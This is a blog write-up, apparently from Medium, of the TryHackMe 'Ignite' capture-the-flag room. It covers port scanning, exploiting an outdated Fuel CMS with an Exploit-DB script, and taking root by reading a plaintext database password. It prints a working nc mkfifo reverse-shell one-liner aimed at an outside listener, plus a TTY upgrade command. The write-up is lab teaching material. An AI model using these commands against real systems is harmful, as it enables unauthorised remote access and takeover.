Sitemap

Ignite — TryHackMe

3 min readApr 5, 2026

--

Press enter or click to view image in full size
Press enter or click to view image in full size

Difficulty: Easy
Time Required : 40 min

Reconnaissance

Started with an Nmap scan to identify open ports and services: nmap -p- 10.66.190.237 -sV -T4

$ nmap -p- 10.66.190.237 -sV -T4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-28 06:55 +0500
Nmap scan report for 10.66.190.237 (10.66.190.237)
Host is up (0.23s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.31 seconds

Findings

  • Port 80 → HTTP (Web Server)

Visiting the web server:

http://10.66.190.237
Press enter or click to view image in full size

RCE

The version of Fuel CMS appears to be outdated or vulnerable, so let’s visit Exploit Database and search for this version to find a suitable exploit.

Press enter or click to view image in full size

Found an exploit that matches the version and is compatible, so let’s download it and configure it.

Press enter or click to view image in full size

Change the IP and port, and remove the proxy on line 25.
Run this exploit:

$ python2 47138.py

Get Monas’s stories in your inbox

Join Medium for free to get updates from this writer.

Press enter or click to view image in full size

Reverse Shell

Once Remote Code Execution (RCE) is achieved, the immediate priority is upgrading to a reverse shell to establish a more stable, interactive environment for efficient file navigation and rapid post-exploitation.

Press enter or click to view image in full size

After testing various payloads from RevShells, nc mkfifo named pipe reverse shell successfully established the connection: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.219.152 1234 >/tmp/f
Setup a listener:

$ nc -u -lvnp 1234
listening on [any] 1234 ...
Press enter or click to view image in full size
Press enter or click to view image in full size

To upgrade to a fully interactive TTY, I used a Python one-liner to spawn a Bash shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Catch the user.txt Flag.

Press enter or click to view image in full size

Privilege escalation

No SUID binaries were found, and there were no commands available to run with sudo. Upon reviewing /robots.txt, it was observed that access to the /fuel directory is disallowed, indicating the presence of sensitive data.

Press enter or click to view image in full size

Navigating to /fuel, the directory contains numerous subfolders and files, so the focus was directed toward /application/config, which stores configuration data. After examining the files, database.php was identified as containing the root password in plaintext.

Press enter or click to view image in full size
Press enter or click to view image in full size

With the password obtained, switching to the root user is possible now using su root. Finally, the root.txt flag can be accessed which is stored inside /root directory.

Press enter or click to view image in full size

--

--

Monas
Monas

Learning web app pentesting through TryHackMe and CTFs. Sharing knowledge and write-ups on Medium.